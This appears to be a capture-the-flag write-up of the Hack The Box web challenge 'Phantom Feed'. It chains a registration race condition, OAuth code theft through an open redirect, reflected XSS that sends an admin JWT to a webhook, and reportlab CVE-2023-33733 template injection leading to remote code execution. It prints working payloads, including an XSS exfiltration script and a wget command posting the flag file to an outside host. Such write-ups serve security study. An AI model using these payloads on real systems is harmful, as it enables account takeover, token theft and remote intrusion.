Phantom Feed

This hard web challenge was quite the thinker. It took me a few breaks to find all the required vulnerabilities in this big application, to eventually chain them all together into Remote Code Execution. That resulted in a very satisfying solution when all parts finally clicked together, and with many interesting new techniques I hadn't seen before.

The Challenge

Like with the other challenges, all application source code was given in a ZIP file. The challenge/ directory contained three servers, two backends, and a frontend:

Tree

├── challenge
│   ├── phantom-feed
│   │   ├── application
│   │   │   ├── app.py
│   │   │   ├── blueprints
│   │   │   │   └── routes.py
│   │   │   ├── config.py
│   │   │   ├── static
│   │   │   ├── templates
│   │   │   └── util
│   │   │       ├── auth.py
│   │   │       ├── bot.py
│   │   │       ├── database.py
│   │   │       ├── email.py
│   │   │       └── general.py
│   │   ├── requirements.txt
│   │   └── run.py
│   ├── phantom-market-backend
│   │   ├── application
│   │   │   ├── app.py
│   │   │   ├── blueprints
│   │   │   │   └── routes.py
│   │   │   ├── config.py
│   │   │   ├── static
│   │   │   ├── templates
│   │   │   └── util
│   │   │       ├── auth.py
│   │   │       ├── database.py
│   │   │       ├── document.py
│   │   │       └── general.py
│   │   ├── requirements.txt
│   │   └── run.py
│   └── phantom-market-frontend
│       ├── assets
│       ├── components
│       │   ├── LoginCard.vue
│       │   ├── NavBar.vue
│       │   └── ProductCard.vue
│       ├── layouts
│       │   └── default.vue
│       ├── package.json
│       ├── pages
│       │   ├── callback.vue
│       │   ├── index.vue
│       │   ├── logout.vue
│       │   ├── orders.vue
│       │   └── product
│       │       └── _id.vue
│       ├── plugins
│       ├── static
│       └── store
├── conf
│   ├── nginx.conf
│   └── supervisord.conf

The conf/nginx.conf file shows what base paths map to what ports:

conf

server {
    listen 1337;
    server_name pantomfeed;
    
    location / {  # phantom-market-frontend/
        proxy_pass http://127.0.0.1:5000;
    }

    location /phantomfeed {  # phantom-feed/
        proxy_pass http://127.0.0.1:3000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }

    location /backend {  # phantom-market-backend/
        proxy_pass http://127.0.0.1:4000;
    }
}

Visiting the main site we are greeted with a big Login button, which redirects us to the following page:

Its path is /phantomfeed/login, but since we don't know any credentials yet we can try to create an account for ourselves using /phantomfeed/register. After filling out the form we get a response that says "verification code sent":

It seems like the account has not been created yet, and we can also not log in with it directly. Let's check out the code to see how this is handled in phantom-feed/application/blueprints/routes.py:

Python

@web.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "GET":
        return render_template("login.html", title="log-in")

    if request.method == "POST":
        username = request.form.get("username")
        password = request.form.get("password")

    if not username or not password:
        return render_template("error.html", title="error", error="missing parameters"), 400

    db_session = Database()
    user_valid, user_id = db_session.check_user(username, password)

    if not user_valid:
        return render_template("error.html", title="error", error="invalid username/password or not verified"), 401

    token = create_jwt(user_id, username)

    response = make_response(redirect("/phantomfeed/feed"))
    response.set_cookie("token", token, samesite="Strict", httponly=True)
    return response


@web.route("/register", methods=["GET", "POST"])
def register():
    if request.method == "GET":
        return render_template("register.html", title="register")

    if request.method == "POST":
        username = request.form.get("username")
        password = request.form.get("password")
        email = request.form.get("email")

    if not username or not password or not email:
        return render_template("error.html", title="error", error="missing parameters"), 400

    db_session = Database()
    user_valid, user_id = db_session.create_user(username, password, email)

    if not user_valid:
        return render_template("error.html", title="error", error="user exists"), 401

    email_client = EmailClient(email)
    verification_code = db_session.add_verification(user_id)
    email_client.send_email(f"http://phantomfeed.htb/phantomfeed/confirm?verification_code={verification_code}")

    return render_template("error.html", title="error", error="verification code sent"), 200

The register() function takes our parameters and creates the user in the database. It then adds the verification code to the database and tries to send an email to the user's email address. When we look into this send_email() function though, there is no code at all!

Python

class EmailClient:
    ...

    def send_email(self, message):
        pass
        # try:
        #     self.server = smtplib.SMTP(self.smtp_server, self.smtp_port)
        #     self.server.starttls()  # Use TLS for security
        #     self.server.login(self.username, self.password)

        #     msg = MIMEMultipart()
        #     msg["From"] = self.username
        #     msg["To"] = to_email
        #     msg["Subject"] = "Verification code"

        #     msg.attach(MIMEText(message, "plain"))
        #     self.server.sendmail(self.username, to_email, msg.as_string())
        #     self.server.quit()
        # except Exception as e:
        #     print(e)

It is all commented out, meaning any code it generates is thrown into the void. It seems impossible to ever get access to this token to activate our account...

Race Condition in /register

Let's take a look at both the login() and register() database interactions in more detail, they call the following functions:

Python

def create_user(self, username, password, email):
    user = self.session.query(Users).filter(Users.username == username).first()
    if user:
        return False, None

    password_bytes = password.encode("utf-8")
    salt = bcrypt.gensalt()
    password_hash = bcrypt.hashpw(password_bytes, salt).decode()

    new_user = Users(username=username, password=password_hash, email=email)
    self.session.add(new_user)
    self.session.commit()

    return True, new_user.id

def add_verification(self, user_id):
    verification_code = generate(12)
    self.session.query(Users).filter(Users.id == user_id).update({"verification_code": verification_code, "verified": False})
    self.session.commit()
    return verification_code

def check_user(self, username, password):
    user = self.session.query(Users).filter(Users.username == username, Users.verified == True).first()

    if not user:
        return False, None
    
    password_bytes = password.encode("utf-8")
    password_encoded = user.password.encode("utf-8")
    matched = bcrypt.checkpw(password_bytes, password_encoded)
    
    if matched:
        return True, user.id
    
    return False, None

It uses the sqlalchemy library to make SQL queries from code, like the Users class which defines columns as properties:

Python

class Users(Base):
    __tablename__ = "users"
    id = Column(Integer, primary_key=True)
    verification_code = Column(String)
    verified = Column(Boolean, default=True)
    username = Column(String)
    password = Column(String)
    email = Column(String)

Now let's take a detailed look at this code. You might notice that the verified column has a default=True value, so if it is not specified it is set as verified by default. The first create_user() function that /register calls does not set it to False! Only afterward when add_verification() is called on the user a code is added and verified=False is set.
The check_user() function that /login uses checks for any user that is verified, so in this small window of time where our user is created but the code is not yet added, we should be able to log in and get a session! This is called a Race Condition.

The attack idea is then to spam requests to the /login endpoint as fast as possible with a user that does not exist yet, and then while that is running we register that user. If we're lucky the login happens right in between the database creation and the code being added. A simple way to send requests quickly is using ffuf:

Bash

ffuf -X POST -u 'http://94.237.56.124:30185/phantomfeed/login' -d 'username=j0r2an&password=j0r2an&FUZZ' \
  -H 'Content-Type: application/x-www-form-urlencoded' -w <(seq 1 10000)

While this executes requests quickly like we want, it won't print the cookie that it receives when a successful login happens. We can use the handy -od [directory] (Output Directory) argument to specify a directory where ffuf should write any requests/responses that match the filter. Speaking of filters, we should add a -fs 858 argument as well because the file size of a failed attempt is 858 bytes. Now we start the request spam, and at the same time register that user:

Shell

$ ffuf -X POST -u 'http://94.237.56.124:30185/phantomfeed/login' -d 'username=j0r2an&password=j0r2an&FUZZ' \

  -H 'Content-Type: application/x-www-form-urlencoded' -w <(seq 1 10000) -od out -fs 858
...
603                     [Status: 302, Size: 221, Words: 18, Lines: 6, Duration: 2902ms]
590                     [Status: 302, Size: 221, Words: 18, Lines: 6, Duration: 3194ms]
607                     [Status: 302, Size: 221, Words: 18, Lines: 6, Duration: 2816ms]

It worked! Three logins were successful and the out/ directory now contains the full response it matched:

HTTP

POST /phantomfeed/login HTTP/1.1
Host: 94.237.56.124:30185
User-Agent: Fuzz Faster U Fool v1.5.0-dev
Content-Length: 35
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

username=j0r2an&password=j0r2an&603
---- ↑ Request ---- Response ↓ ----

HTTP/1.1 302 FOUND
Content-Length: 221
Connection: keep-alive
Content-Type: text/html; charset=utf-8
Date: Sat, 09 Dec 2023 23:06:54 GMT
Location: /phantomfeed/feed
Server: nginx/1.24.0
Set-Cookie: token=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9....unfkoLlj5ZSh68sMMrdrrp27cCrw; HttpOnly; Path=/; SameSite=Strict

With this token, we can visit /phantomfeed/feed after setting it in our Browser.

Note: If you've looked at the challenge yourself you might have gone down the rabbit hole of trying to slow down the EmailClient.__init__() Regular Expression by using "catastrophic backtracking". While in theory, it should give you a huge window to easily log in as the user on a multithreaded server, this is actually not possible because the Python "Global Interpreter Lock" (GIL) prevents any code from executing globally while it is evaluating the RegEx result in C. See this article for a developer complaining about the same thing.

OAuth redirection to steal code

The feed page has a new form that may contain "content", and optionally a "marketplace link":

This endpoint requires authentication which we now have, and from its source code we can find that it creates a post in the database and afterward calls bot_runner(market_link) to visit the link we put in the form field:

Python

@web.route("/feed", methods=["GET", "POST"])
@auth_middleware
def feed():
    if request.method == "GET":
        db_session = Database()
        posts = db_session.get_all_posts()

        return render_template("feed.html", title="feed", nav_enabled=True, user_data=request.user_data, posts=posts)

    if request.method == "POST":
        content = request.form.get("content")
        market_link = request.form.get("market_link")

    if not content or not market_link:
        return render_template("error.html", title="error", error="missing parameters"), 400

    if market_link == "":
        return render_template("error.html", title="error", error="invalid market link"), 401

    db_session = Database()
    db_session.create_post(request.user_data["user_id"], request.user_data["username"], content, market_link)

    bot_runner(market_link)

    return redirect("/phantomfeed/feed")

This function seems very interesting as a Chrome bot will visit the URL "http://127.0.0.1:5000" + link that we have control over. It also sets a "token" cookie to an administrator JWT which will be useful for more attack surface later on.

Python

def bot_runner(link):
    chrome_options = Options()

    chrome_options.add_argument("headless")
    ...

    client = webdriver.Chrome(options=chrome_options)
    client.get("http://127.0.0.1:5000")

    token = create_jwt(1, "administrator")
    cookie = {
        "name": "token",
        "value": token,
        "domain": "127.0.0.1",
        "path": "/",
        "expiry": int((datetime.datetime.now() + datetime.timedelta(seconds=1800)).timestamp()),
        "secure": False,
        "httpOnly": True
    }
    client.add_cookie(cookie)

    client.get("http://127.0.0.1:5000" + link)
    time.sleep(10)
    client.quit()

If we can somehow steal this token, or just make the bot do something we wouldn't be able to do it can be very helpful. First, we need to look at some more source code however in a part that we haven't covered yet: OAuth 2.0

Python

@web.route("/oauth2/code", methods=["GET"])
@auth_middleware
def oauth2():
    client_id = request.args.get("client_id")
    redirect_url = request.args.get("redirect_url")

    if not client_id or not redirect_url:
        return render_template("error.html", title="error", error="missing parameters"), 400

    authorization_code = generate_authorization_code(request.user_data["username"], client_id, redirect_url)
    url = f"{redirect_url}?authorization_code={authorization_code}"

    return redirect(url, code=303)

This GET route takes two parameters: client_id= and redirect_url=. The first is not very interesting and only used in generating the authorization_code, but the latter is much more useful as it tells the browser where to redirect to, importantly with the generated authorization_code= in that URL. If we were to set this URL to our own server, the response would redirect to our site with the code in a parameter that we receive and can read. If we send the bot to a URL like the following, we can receive its authorization_code:

http://127.0.0.1:3000/phantomfeed/oauth2/code?client_id=phantom-market&redirect_url=http://attacker.com/
-> http://attacker.com/?authorization_code=dG4ED...vy6xr

Sounds like a plan. There is one slight problem, however, this runs on port 3000 instead of 5000 which we can send the bot to. One important observation however is that our link variable is pasted right after the port number in the hostname, there is no / separating the hostname and the path. This means that we may be able to manipulate the hostname slightly to send it to another place, which is possible using the http://username:password@host:port/ URL syntax. If we start our link with an @ symbol it will parse the next name and port as the real hostname. So a link like @127.0.0.1:3000 will send the bot to that different host! The final link will then become:

URL

@127.0.0.1:3000/phantomfeed/oauth2/code?client_id=phantom-market&redirect_url=http://webhook.site/7207bcfb-09c2-414a-92fb-4c1cded5c0f9

After creating the post with that link to your own server, the bot will follow it and a code can be received after a few seconds:

Logs

GET /f7f50e79-36eb-49e0-aa65-ff7f6beb1108?authorization_code=Z0FBQUFBQmxkM0VsX0RfZmhhQkhBR2QtMFh3V00zSHhDZ001UG11aE5FeTM5RDlPSkJGSnoxNXhxOFp1YXZSQkVKVzlKRjY3Sk5lVzBuR3luQVZuQ2VqaFl6WXpyQTd3T1FiWGdYRzQ2OWNlZUJpT09Lc291QTVXYmo5cUJiLXduSWVvWTV1enJIVGVBSDFiQm1sN1B6ZGozRlVLX2dhNkNHcFR4Xzl3U1dWUE5vYlVyLU9lVl9RR0VZUUdhVkhVT2NIYU45ckFtS3ZvMkxuSm01LThDZFoxT3FEd3hyUHA2QT09

Now the question becomes, what do we do with this code? A quick idea looks like the /phantomfeed/oauth2/token route which takes such a token, and gives back a JWT access token:

Python

@web.route("/oauth2/token", methods=["GET"])
@auth_middleware
def token():
    authorization_code = request.args.get("authorization_code")
    client_id = request.args.get("client_id")
    redirect_url = request.args.get("redirect_url")

    if not authorization_code or not client_id or not redirect_url:
        return render_template("error.html", title="error", error="missing parameters"), 400

    if not verify_authorization_code(authorization_code, client_id, redirect_url):
        return render_template("error.html", title="error", error="access denied"), 401

    access_token = create_jwt(request.user_data["user_id"], request.user_data["username"])

    return json.dumps({
        "access_token": access_token,
        "token_type": "JWT",
        "expires_in": current_app.config["JWT_LIFE_SPAN"],
        "redirect_url": redirect_url
    })

But when we test it out, we realize we read too quickly and it does not actually give the access token associated with who generated the token, but rather it gives back your own access token, so it seems pretty much useless. There is also no other place where this code is used, so are we stuck? I'm sure I was at the time.

XSS in /token JSON endpoint

After a little while, however, I realized something. The response of /phantomfeed/oauth2/token contains our redirect_url= input from earlier when we generated the token, and this value is reflected in the response. If the Content-Type response header is set to something that can execute HTML instead of JSON, we could inject HTML tags to achieve Cross-Site Scripting (XSS):

Perfect! When we create a redirect_url= that contains HTML tags, they are reflected in the response without any encoding, and the Content-Type is set to text/html which will execute that code when shown in a browser. Because this is another simple GET request we can send the bot to this URL after having gotten one valid authoriation code. Then in the response, a JSON Web Token is generated for the logged-in user and included in the response, which we can easily exfiltrate with the XSS on the same page. Let's build a payload.

HTML

<script>location='https://webhook.site/7207bcfb-09c2-414a-92fb-4c1cded5c0f9?'+btoa(document.body.innerHTML)</script>

Next, we need a valid authorization code, which we can even get from ourselves. This code will include the client_id and redirect_url already so we need to make these correct already. The XSS payload goes in the redirect_url= parameter after URL-encoding it, and the client_id can be anything like before. We request the following URL ourselves with our token= cookie set, and then the response contains an authorization_code= that matches the client and the redirect URL:

http://94.237.56.124:30185/phantomfeed/oauth2/code?client_id=phantom-market&redirect_url=%3Cscript%3Elocation%3D%27https%3A%2F%2Fwebhook%2Esite%2F7207bcfb%2D09c2%2D414a%2D92fb%2D4c1cded5c0f9%3F%27%2Bbtoa%28document%2Ebody%2EinnerHTML%29%3C%2Fscript%3E

HTTP

Date: Mon, 11 Dec 2023 21:05:03 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1327
Connection: close
Location: <script>fetch('https://webhook.site/7207bcfb-09c2-414a-92fb-4c1cded5c0f9?'+btoa(document.body.innerHTML))</script>?authorization_code=Z0FBQUFBQmxkM2xfYkxyai1DckVVTVNKOHY0QnFHOW9CYU52aE9heVNQV1YtOUJHdUYyNGZSajBOcXJWbWVVUi1oY3lMS2NncWRXOEtsemgzU0g5Tm9xQW9ZdVhiMS1jSldoMnk3RWlVMTk0Skd4S0hiVjF4UHNjRGp1TTBsRGJibGJkWV94dzV1NkJoTHNWcDFQQ2pMRTl1bUo5WlNjUlVYQXNIQ1plSUxNWUctT0JJa1VGU0xVa2h4cjZjMmduZlhmVTNXVTNrMGtZMVRtbTczdlRHU0xqSk9TME5vcEdQV2dEMU9pR1BBMkZZRERfSklwVlZnUzBId1dmYml5OGFEeUFHWFZVMGJaazdhS0UxTXlNLXVybmRuNlpwU3JrVlVjNHJGT0poUzBNeV9yd3p0UlNQcWc9

We then use this code to create another URL for the bot, which will make it respond with our XSS payload in the redirect URL. We just need to change the path to /token, and add the authorization_code= parameter:

URL

@127.0.0.1:3000/phantomfeed/oauth2/token?client_id=phantom-market&redirect_url=%3Cscript%3Elocation%3D%27https%3A%2F%2Fwebhook%2Esite%2F7207bcfb%2D09c2%2D414a%2D92fb%2D4c1cded5c0f9%3F%27%2Bbtoa%28document%2Ebody%2EinnerHTML%29%3C%2Fscript%3E&authorization_code=Z0FBQUFBQmxkMzFJaVdueGlpMmdwSXZEMXlWeDJ3T21sWVJEZTkwcGEwMkVmRDU4SzY5X0twamZWWGJaTVFtOElSbGM0SWp4bEZDQThOc2NtMVJJdjU4Tkc0eW1vd2JqTWU0OXoyN09JYmhPS2tUUXRSU1pETlcyZzRieHVFU0llWlBodlRVaDNMeDZuS3lVajNQdFB1S2ZPbHJCSWhFZkhqenlOMFlJdEFIazhOS1ZWaVNzMjZDTUFkVHpKLUhrU2dWZlpBWjFtbkIzZElfV2NoV3N0VUhXaExLb2xybkJUNEY0X2FWU294VWFWNWpSRVptU3REa05UdjZsSGMwR1ZBdHhMdUl2eU9DMFQtU3FESzBpbDJFc1VFWGJXZGFyVXBnRDUwYVVSYnhjRmxYeFJyNnpEZjA9

Tip: This code is a one-time use, after it is been used once it is no longer valid. So either don't test it, or generate a new code after testing it.

Sending this URL to the bot via the "marketplace link" field, we receive a callback a few seconds later when the bot visits the URL, and the XSS gets triggered:

Logs

GET /2deee1bd-e1fa-4677-ae07-f644ed0e13c4?eyJhY2Nlc3NfdG9rZW4iOiAiZXlKaGJHY2lPaUpTVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SnBjM01pT2lKd2FHRnVkRzl0Wm1WbFpDMWhkWFJvTFhObGNuWmxjaUlzSW1WNGNDSTZNVGN3TWpNek1UVXhPQ3dpZFhObGNsOXBaQ0k2TVN3aWRYTmxjbTVoYldVaU9pSmhaRzFwYm1semRISmhkRzl5SWl3aWRYTmxjbDkwZVhCbElqb2lZV1J0YVc1cGMzUnlZWFJ2Y2lKOS5aN3h5UTA0dUNOUjFzTVk4anhZN0hEVWI1cFlyakkyVzZ2bTItWGdWYlNwc0gzWWFCUi1Jc3k2NzdMQzR3bnI5Rm0yZTRTZ3BuampDRTlydkt1Q2tkWnhpSGc3eGpMazdtNDNhLTB1RVdIeE1BaXZMVVpuS05lVmw0TnoyWXNnQWpxMlhqRnZ3TzQ5eEtYNzFSS3F0dy1HUmlGOEVsdmNPMkZYcTg1NFd5LWJVdmJrZ1RfX19PSkFJek5uUzZCbUhYbjVXQWc2cmlZOFdNUjc3YURCb2RIUEpoNEJ4NU8wb0xYUVpUc0pyNWJ5dWlGRW9pVlE4RkQxTWZTTkV0Tk5CSXFEUjJ0MkRxa3pwd05ZRkUxRUlIVm0xNEdGOTR3b2k2SExHcktBdHhvYThGQ3ozQlJxTHktd3p1QXVyOWdocTJNcjVUR3BJZUwxZzFWMkVlR3NTQkEiLCAidG9rZW5fdHlwZSI6ICJKV1QiLCAiZXhwaXJlc19pbiI6IDE4MDAsICJyZWRpcmVjdF91cmwiOiAiPHNjcmlwdD5sb2NhdGlvbj0naHR0cHM6Ly93ZWJob29rLnNpdGUvMmRlZWUxYmQtZTFmYS00Njc3LWFlMDctZjY0NGVkMGUxM2M0PycrYnRvYShkb2N1bWVudC5ib2R5LmlubmVySFRNTCk8L3NjcmlwdD4=

We can decode this data to get the "access_token" which is now a JWT with administrator permissions! The question now becomes, what cool stuff can we do now that we are an admin?

SSTI in HTML2PDF converter

While we've exhausted almost all endpoints in the /phantomfeed base URL, there are some more new ones in the other backend at /backend. This is used for the marketplace and contains some middleware to verify the JWT, and check if the user is an administrator:

Python

@web.before_request
def before_request():
    auth_header = request.headers.get("Authorization")
    if not auth_header or "Bearer" not in auth_header:
        return response("Access token does not exist"), 400

    access_token = auth_header[7:]
    access_token = verify_access_token(access_token)

    if not access_token:
        return response("Access token is invalid"), 400

    request.user_data = access_token

def admin_middleware(func):
    def check_admin(*args, **kwargs):
        if request.user_data["user_type"] != "administrator":
            return response("Restricted to administrators"), 400

        return func(*args, **kwargs)

    check_admin.__name__ = func.__name__
    return check_admin

Two endpoints are protected with this @admin_middleware decorator which we now have access to, so let's review them:

Python

@web.route("/orders", methods=["GET"])
@admin_middleware
def orders():
    db_session = Database()
    orders = db_session.get_all_orders()
    return response(orders), 200


@web.route("/orders/html", methods=["POST"])
@admin_middleware
def orders_html():
    color = request.form.get("color")

    if not color:
        return response("No color"), 400

    db_session = Database()
    orders = db_session.get_all_orders()

    if not orders:
        return response("No orders placed"), 200

    # orders.html contains '<para><font color="{{ color }}">Orders:</font></para>'
    orders_template = render_template("orders.html", color=color)

    html2pdf = HTML2PDF()
    pdf = html2pdf.convert(orders_template, orders)

    pdf.seek(0)
    return send_file(pdf, as_attachment=True, download_name="orders.pdf", mimetype="application/pdf")

The first seems very uninteresting, a simple database query to get all orders. But the second one at /orders/html looks much more interesting as it takes some user input, renders a template, and converts it to a PDF. We're getting towards the end of the challenge so we also need to think about where the flag is, from the entrypoint.sh file we can see that it moves the flag to some random name that we cannot guess, so a simple file inclusion won't be enough to read it. It looks like we'll need full Remote Code Execution to list and then read the flag:

sh

# Change flag name
mv /flag.txt /flag$(cat /dev/urandom | tr -cd 'a-f0-9' | head -c 10).txt
...

So what is this HTML2PDF() class about? It is a custom class that uses reportlab to generate a PDF file from an HTML template.

Python

from reportlab.platypus import SimpleDocTemplate, Paragraph, Table, TableStyle
from reportlab.lib.pagesizes import letter
from reportlab.lib import colors
from io import BytesIO

class HTML2PDF():
    ...
    def get_document_template(self, stream_file):
        return SimpleDocTemplate(stream_file)

    def build_document(self, document, content, **props):
        document.build(content, **props)

    def convert(self, html, data):
        doc = self.get_document_template(self.stream_file)
        self.add_paragraph(html)
        self.add_table(data)
        self.build_document(doc, self.content)
        return self.stream_file

I googled for "SimpleDocTemplate exploit" and quickly found results for CVE-2023-33733, a Remote Code Execution bug through HTML injection in reportlab. The first proof-of-concept on GitHub shows a very similar scenario to ours, where they use a simple text injection to write templating syntax and perform Server-Side Template Injection (SSTI).

https://github.com/c53elyas/CVE-2023-33733

HTML

<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
            exploit
</font></para>

We can copy their proof-of-concept and change the shell command to exfiltrate the flag.

Bash

wget https://webhook.site/7207bcfb-09c2-414a-92fb-4c1cded5c0f9 --post-file /flag*

URL-encoded the payload request will look like this using our new admin JWT:

HTTP

POST /backend/orders/html HTTP/1.1
Host: 94.237.56.124:30185
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJwaGFudG9tZmVlZC1hdXRoLXNlcnZlciIsImV4cCI6MTcwMjMzMTUxOCwidXNlcl9pZCI6MSwidXNlcm5hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl90eXBlIjoiYWRtaW5pc3RyYXRvciJ9.Z7xyQ04uCNR1sMY8jxY7HDUb5pYrjI2W6vm2-XgVbSpsH3YaBR-Isy677LC4wnr9Fm2e4SgpnjjCE9rvKuCkdZxiHg7xjLk7m43a-0uEWHxMAivLUZnKNeVl4Nz2YsgAjq2XjFvwO49xKX71RKqtw-GRiF8ElvcO2FXq854Wy-bUvbkgT___OJAIzNnS6BmHXn5WAg6riY8WMR77aDBodHPJh4Bx5O0oLXQZTsJr5byuiFEoiVQ8FD1MfSNEtNNBIqDR2t2DqkzpwNYFE1EIHVm14GF94woi6HLGrKAtxoa8FCz3BRqLy-wzuAur9ghq2Mr5TGpIeL1g1V2EeGsSBA
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 742

color=%5b%5b%5bgetattr(pow%2c%20Word('__globals__'))%5b'os'%5d.system('wget%20https%3a%2f%2fwebhook.site%2f2deee1bd-e1fa-4677-ae07-f644ed0e13c4%20--post-file%20%2fflag*')%20for%20Word%20in%20%5b%20orgTypeFun(%20'Word'%2c%20(str%2c)%2c%20%7b%20'mutated'%3a%201%2c%20'startswith'%3a%20lambda%20self%2c%20x%3a%201%20%3d%3d%200%2c%20'__eq__'%3a%20lambda%20self%2c%20x%3a%20self.mutate()%20and%20self.mutated%20%3c%200%20and%20str(self)%20%3d%3d%20x%2c%20'mutate'%3a%20lambda%20self%3a%20%7b%20setattr(self%2c%20'mutated'%2c%20self.mutated%20-%201)%20%7d%2c%20'__hash__'%3a%20lambda%20self%3a%20hash(str(self))%2c%20%7d%2c%20)%20%5d%20%5d%20for%20orgTypeFun%20in%20%5btype(type(1))%5d%20for%20none%20in%20%5b%5b%5d.append(1)%5d%5d%5d%20and%20'red'

Sending this to the server, we receive a callback on the webhook with the flag in the POST data!
HTB{r4c3_2_rc3_04uth2_j4ck3d!}